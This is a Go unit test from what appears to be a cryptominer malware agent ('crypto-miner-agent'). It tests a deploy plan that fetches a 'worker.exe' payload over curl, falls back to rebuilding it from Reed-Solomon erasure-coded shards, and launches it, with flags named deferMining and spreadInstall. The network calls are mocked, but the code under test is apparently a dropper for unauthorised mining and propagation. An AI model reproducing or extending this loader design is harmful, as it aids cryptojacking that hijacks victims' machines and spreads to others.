package deploy import ( "strings" "testing" "crypto-miner-agent/config" "github.com/klauspost/reedsolomon" ) func TestExecuteDeployPlanErasureFallback(t *testing.T) { payload := []byte("erasure-fallback-payload") p := erasureParams{DataShards: 2, ParityShards: 2} enc, err := reedsolomon.New(p.DataShards, p.ParityShards) if err != nil { t.Fatal(err) } shards, err := enc.Split(payload) if err != nil { t.Fatal(err) } if err := enc.Encode(shards); err != nil { t.Fatal(err) } plan := DeployPlanBody{ JoinLane: "bits_curl", Action: "bits_curl", Manifest: &StagingManifest{ Method: "curl", Chunks: []StagingChunk{{URL: "http://127.0.0.1/fail", File: "worker.exe"}}, SHA256: hexSHA256(payload), Dest: t.TempDir() + `\w.exe`, Launch: "exe", }, ErasurePlan: &ErasurePlanBody{ Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards, PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "fb-token", Dest: t.TempDir() + `\w.exe`, Launch: "exe", }, } for i := range shards { plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{ Index: i, Lane: parallelLaneName(i), URL: "mock://" + string(rune('a'+i)), }) } shardCopy := make([][]byte, len(shards)) for i, sh := range shards { shardCopy[i] = append([]byte(nil), sh...) } prevFetch := erasureFetchFn erasureFetchFn = func(url string) ([]byte, error) { for i, ref := range plan.ErasurePlan.Shards { if ref.URL == url { return shardCopy[i], nil } } return nil, nil } defer func() { erasureFetchFn = prevFetch }() prevLaunch := erasureLaunchFn erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "launched", nil } defer func() { erasureLaunchFn = prevLaunch }() prevStaging := stagingLaunchFn stagingLaunchFn = nil stagingDownloadCurlFn = func(url, dest string) error { return errPrimaryLaneFailed } defer func() { stagingDownloadCurlFn = nil stagingLaunchFn = prevStaging }() cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}} msg, err := ExecuteDeployPlan(cfg, plan) if err != nil { t.Fatal(err) } if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "primary lane failed") { t.Fatalf("msg=%q", msg) } } var errPrimaryLaneFailed = primaryLaneFailedError{} type primaryLaneFailedError struct{} func (primaryLaneFailedError) Error() string { return "primary lane failed" }